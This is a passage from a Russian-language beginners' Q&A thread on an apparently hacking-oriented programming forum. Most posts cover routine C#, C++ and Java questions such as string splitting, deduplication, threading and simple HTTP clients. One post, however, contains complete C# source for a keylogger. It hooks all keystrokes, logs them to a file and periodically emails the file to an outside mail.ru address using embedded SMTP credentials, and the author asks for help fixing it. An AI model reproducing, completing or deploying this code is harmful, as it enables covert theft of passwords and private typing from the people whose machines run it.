[ C# / Java ] — начинающим: задаем вопросы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by procedure, 2 Nov 2008.

  1. Bers

    Bers Member

    Joined:
    17 May 2010
    Messages:
    78
    Likes Received:
    30
    Reputations:
    26
    Весьма хорош Prism. Примеры к нему - замечательные, подробней просто некуда. При желании можно легко интегрировать с док-движками и ioc-контейнером.
     
    1 person likes this.
  2. Developer.C#

    Developer.C# New Member

    Joined:
    17 Aug 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    MVVM - model view viewmodel, примеров не мало.
     
  3. shiku

    shiku Member

    Joined:
    6 Aug 2009
    Messages:
    0
    Likes Received:
    25
    Reputations:
    1
    Подскажите как реализовать следующее, есть строки, в них забиты ключевые слова, которые разделяются знаком ':' . Пример строки: "12345:4321:7654:qwerty" . Мне нужно вырезать 12345 , 4321 ... итд. Какой функцией это делается?
     
  4. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Либо методом Split, либо регулярками
     
    _________________________
  5. shiku

    shiku Member

    Joined:
    6 Aug 2009
    Messages:
    0
    Likes Received:
    25
    Reputations:
    1
    Еще вопрос по воводу удаления повторов строк. Есть файл с количеством строк до миллиона. Необходимо удалить все повторы строк. Подскажие по какому алгоритму оптимальнее и быстрее это делать и какими функциями? Ибо я пробовал так:
    С помощью streamReader.ReadLine считывал по одной строке, сравнивал функцией Contains, нет ли этой строки в переменной string, если нет-добавлял эту строку в перменную и сразу же через WriteLine добавлял строку в файл. Короче таким образом несколько часов оно удаляло, что не годится.
     
  6. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    >>Replace это метод переменной.
    FACEPALM!!!

    shiku
    1. File.ReadAllLines -> Distinct (LINQ)
    2. Создаешь промежуточную коллекцию - как в твоем случае
    3. Регулярное выражение
     
  7. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Подскажите, как замутить простой HTTP сервер на c#, который бы получал GET переменную из запроса, и выводил в браузер какой либо текст, основываясь на полученную переменную ? Изначально, хотел накатать asp страницу, но асп работать мне, увы, больше не хочется...

    Заранее спасибо.
     
  8. Developer.C#

    Developer.C# New Member

    Joined:
    17 Aug 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Если ты про asp.net, то там этот вопрос решается одной строчкой. не думаю, что где-то и как-то по другому будет кароче и лучше.
     
  9. Stis-mag

    Stis-mag New Member

    Joined:
    22 Nov 2010
    Messages:
    55
    Likes Received:
    0
    Reputations:
    0
    Как можно сделать что то вроде счетчика в потоках.
    Например: Есть ричтекстбокс в котором список фамилий и при запуске программы в 100 потоков одновременно первые 100 фамилий копируются в другой ричтекстбокс
     
  10. dpe_x

    dpe_x Elder - Старейшина

    Joined:
    8 Sep 2010
    Messages:
    155
    Likes Received:
    35
    Reputations:
    14
    полбому для такой задачи необходимо сто потоков , а лучше тысячу..
     
  11. Stis-mag

    Stis-mag New Member

    Joined:
    22 Nov 2010
    Messages:
    55
    Likes Received:
    0
    Reputations:
    0
    Это я так, для примера сказал.
     
  12. inCode

    inCode Member

    Joined:
    20 Jun 2011
    Messages:
    141
    Likes Received:
    22
    Reputations:
    5
    не совсем понял суть вопроса...
    Code:
     public void Function()
            {
                string[] stringSeparators = new string[] { "\r\n" };
    
                string[] result = richTextBox1.Text.Split(stringSeparators, StringSplitOptions.None); //получили массив строк текста ричтекстбокса
                richTextBox2.Text = richTextBox1.Text; //присвоение содержимого ричтекстбокса2 к ричтексбокс1 
    
    
    
            }
            int kolvo = 3;
            Thread[] pp;
            public void ThreadStart()
            {
                //управляемое кол-во потоков
                pp = new Thread[kolvo];
                for (int i = 0; i < kolvo; i++)
                {
                    pp[i] = new Thread(new ThreadStart(delegate() { Function(); }));
                    pp[i].IsBackground = true;
                    pp[i].Start();
                }
    
    
            }
    
    
    
    
    
    
    
     
  13. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    Можно на основе класса - HttpListener.

    inCode без обид, лучше почитай теорию, прежде чем давать советы.
    Почему?
    Давай рассмотрим твой последний совет:


    Первая заповедь работы с потоками?
    Нельзя обращаться к контролам не из потока-родителя!
    Молчу про оптимизацию.


    >>Как можно сделать что то вроде счетчика в потоках.
    Interlocker.Increment/Decrement.
    В кратце, объявляешь int переменную, используешь Increment при запуске потока, Decrement по завершению задачи в потоке.
    Вот и все.
     
  14. Некто_Я

    Некто_Я New Member

    Joined:
    13 Feb 2011
    Messages:
    21
    Likes Received:
    0
    Reputations:
    0
    Доброго времени суток!
    Имеется кейлоггер,который работает крайне нестабильно, причем, если в одной проге - кейлоггер, а в другой прога, которая отправляет сам текстовик на почту все работает норм, а когда склеиваю вместе не пашет...(вот код *P.S не обработала еще очень много исключений, доделаю*)Почему так происходит?вот код:
    Code:
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;
    using System.IO;
    using System.Net;
    using System.Web;
    using System.Net.Mail;
    using System.Net.Mime;
    using System.Runtime.InteropServices;
    using System.Diagnostics;
    using Microsoft.Win32;
    using Utilities;
    
    namespace WindowsFormsApplication1
    {
        public partial class Form1 : Form
        {
            string b = Application.StartupPath + @"\" + "qwerty.txt";
            public Form1()
            {
                InitializeComponent();
    
            }
            [DllImport("user32.dll")]
            private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
            [DllImport("user32.dll")]
            private static extern IntPtr GetForegroundWindow();
            globalKeyboardHook gkh = new globalKeyboardHook();
            private void HookAll()
            {
                foreach (object key in Enum.GetValues(typeof(Keys)))
                {
                    gkh.HookedKeys.Add((Keys)key);
                }
            }
    
            private void Form1_Load(object sender, EventArgs e)
            {
                MessageBox.Show(b);
                if (File.Exists(b))
                {
                    File.Delete(b);
                    FileStream hat = new FileStream(b, FileMode.CreateNew, FileAccess.ReadWrite);
                }
                else
                {
                    FileStream hat = new FileStream(b, FileMode.CreateNew, FileAccess.ReadWrite);
                }
    
    
                try
                {
                    gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
                    HookAll();
                }
                catch (Exception)
                { }
            }
            void gkh_KeyDown(object sender, KeyEventArgs e)
            {
                try
                {
                    StreamWriter SW = new StreamWriter(b, true);
                    SW.Write(e.KeyCode + " ");
                    SW.Close();
                }
                catch (Exception)
                { }
            }
    
            private void timer1_Tick(object sender, EventArgs e)
            {
    
                {
                    int onoff = 1;
                    timer1.Enabled = true;
                    if (onoff == 1)
                    {
                        if (File.Exists(b))
                        {
    
                            SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 25);
                            Smtp.Credentials = new NetworkCredential("aidiotnikov", "blbjnybrjd1");
    
                            MailMessage Message = new MailMessage();
                            Message.From = new MailAddress("[email protected]");
                            Message.To.Add(new MailAddress("[email protected]"));
                            Message.Subject = "Привет";
                            Message.Body = "Это Яша,лови текстовик";
    
                            //Прикрепляем файл
                            Attachment attach = new Attachment(b, MediaTypeNames.Application.Octet);
    
                            Message.Attachments.Add(attach);
    
                            Smtp.Send(Message);//отправка
                            onoff = 0;
                        }
                    }
                    else
                    {
                        MessageBox.Show("Mail hasn't been sent");
                    }
    
                }
            }
        }
    }
    
    Заранее спасибо
     
  15. variselus

    variselus New Member

    Joined:
    21 Jul 2011
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    Нужен код простейшего http клиента, который переходит по указанному урлу и заносит в переменную исходник данной страницы. HELP! :confused:
     
  16. inCode

    inCode Member

    Joined:
    20 Jun 2011
    Messages:
    141
    Likes Received:
    22
    Reputations:
    5
    надеюсь не закидают помидорами)
    public string RequestFoo(string url)
    {
    HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url);
    HttpWebResponse resp = (HttpWebResponse)req.GetResponse();
    StreamReader DataRead = new StreamReader(resp.GetResponseStream(), Encoding.GetEncoding(1251));
    string Output = DataRead.ReadToEnd();
    return Output;

    }
     
  17. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    inCode stream надо освобождать.
     
  18. inCode

    inCode Member

    Joined:
    20 Jun 2011
    Messages:
    141
    Likes Received:
    22
    Reputations:
    5
    я тебя боюсь уже :D
    Но все же интересно, смысл в данном примере освобождения от процесса?(хм через using, но ведь есть garbage collector...) Если, к примеру чтение файла, то согласен...
     
  19. variselus

    variselus New Member

    Joined:
    21 Jul 2011
    Messages:
    28
    Likes Received:
    0
    Reputations:
    0
    В результате нескольких часов исследоватия с++ получил такой код
    Code:
    // html.cpp: implementation of the CHTTPReader class.
    //
    //////////////////////////////////////////////////////////////////////
    
    #include "stdafx.h"
    using namespace std;
    #include <windows.h>
    #include <wininet.h>
    #pragma comment(lib,"wininet")
    
    #include <stdlib.h>
    #include <fstream>
    #include <iostream>
    #include <conio.h>
    
    int main(int argc, char* argv[])
    {
    
    	HINTERNET hInternet =::InternetOpen(
                TEXT("WinInet Test"),
                INTERNET_OPEN_TYPE_PRECONFIG,
                NULL,NULL,
                0);
    	if (hInternet != NULL) {
        cout << "good" << endl;
    	}
    
    	HINTERNET hConnect =::InternetConnect(
                hInternet,
                TEXT("mail.ru"),
                INTERNET_DEFAULT_HTTP_PORT,
                NULL,NULL,
                INTERNET_SERVICE_HTTP,
                0,
                1u);
    	if (hConnect != NULL) {
        cout << "good" << endl;
    	}
    
    	HINTERNET hRequest =::HttpOpenRequest(
                hConnect,
                TEXT("GET"),
                TEXT("index.php"),
                NULL,
                NULL,
                0,
                INTERNET_FLAG_KEEP_CONNECTION,
                1);
        if (hRequest != NULL) {
        cout << "good" << endl;
    	}
    
    
        BOOL bSend = ::HttpSendRequest(hRequest, NULL,0, NULL,0);
        if (bSend) {
                // читаем данные
                char  szData[1024];
                DWORD dwBytesRead;
                BOOL bRead =::InternetReadFile(
                    hRequest,
                    szData,sizeof(szData)-1,
                    &dwBytesRead);
    			char vOut = bSend;
    			cout << vOut <<endl;
    
    
    
    getch();
    	}}
    
    Но гдето я допустил ошибочку(( вместо исходника программка выводит цифру 1((( подскажите где я ошибся...
     
    #1079 variselus, 29 Aug 2011
    Last edited: 29 Aug 2011
  20. X-rus

    X-rus Member

    Joined:
    22 Dec 2010
    Messages:
    88
    Likes Received:
    22
    Reputations:
    4
    А кто будет закрывать поток ответа? resp.Close(); return Output;

    [ C# / Java ] — начинающим: задаем вопросы

    Если копируешь код, то копируй его хотя-бы правильно: [Введение в WinInet]
     
Loading...
Similar Threads - Java начинающим задаем
  1. b3
    Replies:
    4
    Views:
    3,205